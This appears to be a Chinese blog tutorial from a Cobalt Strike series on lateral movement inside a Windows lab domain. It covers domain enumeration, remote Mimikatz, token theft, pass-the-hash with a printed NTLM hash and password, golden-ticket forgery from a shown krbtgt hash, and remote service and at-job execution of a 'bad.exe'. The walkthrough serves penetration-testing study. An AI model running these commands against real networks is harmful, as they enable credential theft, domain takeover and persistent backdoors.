天天看點

Cobalt Strike(十)内網登入認證域内環境1.枚舉信任主機2.判斷目前使用者位置3.winrm執行powershell4.powersploit 運作MImikatz5.登入認證6.代碼執行

域内環境

系統       ip           備注
kali 192.168.0.134 teamserver
server2008r2 10.10.10.4 域控
server2008r2 (database1) 10.10.10.6 本次測試的重點
wind7 192.168.0.130 10.10.10.5 victim 被控端

1.枚舉信任主機

 1.1windows指令

指令  描述

net view /domain 查找目前域

net view/domain:[domain] 檢視目前域主機清單

net group "domain computers" /domain

nltest /dclist:[domain] 檢視域控

nslookup [name]  根據netblos檢視ip位址

ping -n 1 -4

nltest /domain_trusts 檢視域的信任關系

nltest /server:[address] /domain_trusts

1.2windows指令在beacon下使用

shell nltest/dclist:test1

 64位在 c:\windows\sysnative

shell net view /domain:test1

shell  net group "domain computers" /domain

1.3PowerView  子產品的使用

Invoke-Netview

Invoke-ShareFinder

Invoke-MapDomainTrusts

1.4Net 子產品在beacon的使用

列出域控

net dclist  

net dclist [domain]

列出目标共享清單

net share \\[name]

列出目前域控的主機

net view

net view [domain]

2.判斷目前使用者位置

2.1判斷是否本地管理者

因為 普通域使用者 在做一些進階别操作的配置 需要域管理者的賬号和密碼。這是很不友善的。有的時候就會把普通的域使用者 把它增加目标主機的超級管理者組,那麼再做配置的時候就不需要域的超級管理者賬号和密碼。

shell dir \\目标機器名\C$

moonsec 域普通使用者是database1 本地超級管理者

powerview Invoke-FindLocalAdminAccess

2.2判斷是否域管理者

域管理者指令

shell net group "enterprise admins" /domain

shell net group "domain admins" /domain

shell net localgroup "administrators" /domain

 net 在beacon使用

net group \\Target

net localgroup \\target  組名

powerview

Get-NetLocalGroup -HostName database1

3.winrm執行powershell

shell dir \\database1 \c$

shell dir /S /B  \\database1\c$\users

powershell Invoke-Command -ComputerName database1 -ScriptBlock{ dir c:\}

powershell Invoke-Command -ComputerName database1 -ScriptBlock{ net localgroup administrators}

4.powersploit 運作MImikatz

powershell-import invoke-MImikatz.ps1

powershell Invoke-Mimikatz -ComputerName database1

Cobalt Strike(十)内網登入認證域内環境1.枚舉信任主機2.判斷目前使用者位置3.winrm執行powershell4.powersploit 運作MImikatz5.登入認證6.代碼執行

主要的過程就是發現域内信任主機 檢視是否有預設共享 用域的普通使用者 驗證枚舉域内主機的是否為本地管理者 通過winrm執行 mimikatz.ps1

5.登入認證

5.1制作标記 (token)

用mimikatz收集到的密碼 用憑證制作一個标記 (令牌token電腦計算機的臨時身份)

終止标記 rev2self (恢複原來的令[token]或标記)

這裡示範的系統(system) 制作标記通路dc 域控

steal_token ID 域控的超級管理者程序id

make_token TEST1\Administrator qweQWE123.

make_token domain\user password

spawnas domain\user password

建立遠端連接配接

net use \\host\c$ /user:domain\user password

5.2散列認證

pth .\administrator  ntlm

pth TEST1\Administrator c157deb33176c821c0e8733ebd851463

5.3kerberos憑證認證

Kerberos和密碼散列認證有些不一樣,但是兩者同樣都是使用憑據來産生标記

Kerberos票證是存儲存在一個叫kerberos托盤的地方

Kerberos原理是你們可以使用一個中間人 它叫 密匙配置設定發送伺服器 并且 密匙配置設定發送伺服器出憑據,你們可能現在使用那個憑據一次性與伺服器互相作用他會告訴伺服器,我很好 這是我憑據 驗證憑據這個中間人如果信任它會給我伺服器的憑據 這個憑據就可以讓我們保持互動 并且沒有任何帳号建立 如果你們擷取了一個憑據 那就內建它,然後你們就可以使用這個指定憑據來與伺服器進行互動了。一般情況下我使用憑據最好使用黃金憑據。

黃金憑據是域管理者自己生成的Kerberos憑據 來用mimikatz僞造一個黃金票證

有了黃金票據就有了通路域控權限krbtgt hash,通常用于後門。

你們需要四個不同的資訊。

使用者 、域名字、域id  krbtgt 的hash

Cobalt Strike(十)内網登入認證域内環境1.枚舉信任主機2.判斷目前使用者位置3.winrm執行powershell4.powersploit 運作MImikatz5.登入認證6.代碼執行

 域的id擷取 shell whoami/user

test1\moonsec S-1-5-21-1917438135-3671264842-2025464858

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f767fce8c9c5f527dad0b2754d8bdadb:::

列舉黃金票據

shell klist

64位置

shell c:\windows\sysnative\klist

kerberos_ccache_use       從ccache檔案中導入票據應用于此會話

kerberos_ticket_purge     清除目前會話的票據

kerberos_ticket_use       Apply 從ticket檔案中導入票據應用于此會話

5.4如何建立黃金票證

test1\moonsec S-1-5-21-1917438135-3671264842-2025464858-1115

6.代碼執行

6.1代碼執行的方法

execute Program1

shell sc \\host create name binpath= c:\windows\tem\file.exe

shell sc \\host start name

shell sc \\host delete name

execute Program2

shell net time \\host

shell at \\host HH:MM c:\path\to\bad.exe

      竊取标記

      steal_token 2760

      驗證是否可以攻擊域控

      shell dir \\dc\c$

6.1如何跟域控制伺服器互動

6.3beacon的自動操作

powershell-Import /PowerTools/PowerView/powerview.ps1

powershell Invoke-FindLocalAdminAccess

Cobalt Strike(十)内網登入認證域内環境1.枚舉信任主機2.判斷目前使用者位置3.winrm執行powershell4.powersploit 運作MImikatz5.登入認證6.代碼執行
—————————————————————————————————————迷茫在人海之中,找不到路,東顧西顧,無所謂,隻管前行。